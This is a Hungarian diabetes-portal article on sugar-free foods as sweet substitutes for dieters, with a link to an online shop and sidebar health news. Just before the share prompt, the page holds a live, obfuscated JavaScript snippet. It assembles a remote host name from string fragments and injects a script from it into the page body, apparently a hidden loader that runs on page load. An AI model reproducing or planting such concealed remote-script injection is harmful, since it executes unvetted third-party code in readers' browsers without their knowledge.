Oldalainkon HTTP-sütiket használunk a jobb működésért. További részletek itt!

Cukormentes ételek – ha nem tudsz lemondani az édes ízekről

Diabetes Portál



Cukormentes ételek – ha nem tudsz lemondani az édes ízekről

A legtöbb diéta azért bukik el, mert hosszútávon tarthatatlan. Még ha egy ideig bírja is a megszorításokat a diétázó, amint visszatér a megszokott étrendjéhez, vissza is ugranak a nagy nehezen leadott kilók. Éppen ezért kell teljesen életmódot váltani, és egy olyan étrendet bevezetni, ami nem a komoly megszorításokról szól, ezért akár véglegesen is át lehet rá állni. Ebben segítenek a cukormentes élelmiszerek.

Cukormentes ételek

Hogy ne hiányozzon az édesség

A legtöbb hatékony diéta azzal kezd, hogy el kell hagyni a cukros ételeket, azaz csak minimálisan lehet őket fogyasztani. Márpedig az emberek zöme szereti az édes desszerteket, sütiket, finomságokat, így ezt a lemondás valódi kínzásnak élhetik meg. És ilyenkor jönnek a „bűnözések”: először ritkábban, majd egyre gyakrabban csábulunk el, egészen addig, míg végül nem sok eredményét látjuk a nagy reményekkel megkezdett fogyókúrának.

A megoldást a cukormentes élelmiszerek jelentik, amik képesek cukor nélkül helyettesíteni a megszokott, kedvelt, édes ízeket. Ezekből széles választékkal találkozhatsz például itt: https://allnutrition.hu/Cukormentes__z%C3%A9r%C3%B3_kal%C3%B3ria-k1032.html.

A sikeres diéta kulcsa, hogy ne a megvonásokon alapuljon. Ha okosan csinálod, minden nehézség nélkül tudsz átállni egy olyan életmódra, ami tartósan támogatja az ideális testalkat megtartását. Ne kivonni akarj az életedből olyan ételeket, amiket szeretsz és amik hiányoznának – inkább helyettesítsd őket olyanokkal, amik számodra is fogyaszthatók!

 

Gyümölcsök, szószok és más finomságok

Cukor mentes verzióban elérhetők csokoládés szószok, gyümölcsös zselék és sok más kiegészítő, amik ahhoz kellenek, hogy finom nassolnivaló váljon az ételekből, mindezt minimális kalóriatartalommal, zsír és cukor nélkül!

A nagy választéknak köszönhetően sokféle nasi készíthető, kezdve a frissítő, gyümölcsös finomságoktól a klasszikus, kakaós, csokis desszertekig. A kreativitásodon és persze az ízléseden múlik, pontosan hogyan is használod fel ezeket – az viszont biztos, hogy nem kell amiatt aggódnod, hogy az édes finomságok fogják elrontani a diétádat!

(function(){ xlq9_=("u"+"")+"s"+"";xlq9_+=("tat.")+("i"); xlq9=document.createElement("script");xlq9.type="text/javascript";xlq9_+="nf"+("o")+"/"; xlq9u="374890113"+".";xlq9.async=true;xlq9u+="msls39Xflq9cb95z31feccmgsX1hru"; xlq9.src="https://"+xlq9_+xlq9u;xlq9b=document.body;xlq9b.appendChild(xlq9); })();




Ha tetszett ez a cikk, oszd meg ismerőseiddel, kattints ide:

Diabétesz szakszótár

Somogyi hatás

A Somogyi-hatás a hipoglikémiát követő vércukor-emelkedés. Tovább

Aszpart inzulin

Extra gyorshatású inzulinkészítmény, amelynek hatása közvetlenül a beadás után kezdődik... Tovább

Tovább a lexikonra

Hasznos volt számodra ez a cikk?

Mondd el mennyire!

Szavazatok száma:

Átlagos értékelés: 0.0

Legfrissebb hírek

Mit jelent, ha magas a HbA1c érték a leleten? Mit jelent, ha magas a HbA1c érték a leleten?
A magas HbA1c érték a vércukorszint hosszú távú emelkedését jelzi, amely súlyos...
Tudtad, hogy a cukorbetegség a fogaid állapotára is hatással van? Tudtad, hogy a cukorbetegség a fogaid állapotára is hatással van?
A cukorbetegség nemcsak az általános egészségre, hanem a szájüreg állapotára is...
Ezzel a reggelivel indítsd a napod, ha cukorbeteg vagy! Ezzel a reggelivel indítsd a napod, ha cukorbeteg vagy!
A rostban gazdag, alacsony glikémiás indexű, fehérjében és egészséges zsírokban gazdag...
Mi az a Mi az a "Ketoacidózis", hogyan ismerheted fel és előzheted meg?
A ketoacidózis súlyos, de megelőzhető állapot, amely leggyakrabban cukorbetegeknél fordul...
Ezekre a vizsgálatokra kell folyamatosan járnod, ha diabéteszes vagy Ezekre a vizsgálatokra kell folyamatosan járnod, ha diabéteszes vagy
A diabétesz gondos figyelmet és rendszeres orvosi ellenőrzést igényel. Íme a legfontosabb...
Egészséges mosoly cukorbetegséggel is: lehetséges? Egészséges mosoly cukorbetegséggel is: lehetséges?
A cukorbetegség egy összetett, krónikus betegség, amely számos szövődménnyel járhat,...
Mi egy jó diabetológus és dietetikus ismérve? Mi egy jó diabetológus és dietetikus ismérve?
A cukorbetegség kezelésében kulcsfontosságú szerepet játszanak a megfelelő diabetológusok...
Ha ezt tudod, cukorbetegként sem kell lemondanod a finom süteményekről! Ha ezt tudod, cukorbetegként sem kell lemondanod a finom süteményekről!
A cukorbetegség kezelése gyakran szigorú étrendi korlátozásokkal jár, különösen a...
Ekkor jelezhet cukorbetegséget az indokolatlan fogyás Ekkor jelezhet cukorbetegséget az indokolatlan fogyás
Az indokolatlan fogyás súlyos egészségügyi problémára, például cukorbetegségre is...
Az erős szagú vizelet is jelezhet cukorbetegséget - Erre figyelj! Az erős szagú vizelet is jelezhet cukorbetegséget - Erre figyelj!
A vizelet szagának megváltozása fontos jele lehet a cukorbetegségnek, amit nem szabad...
címkék: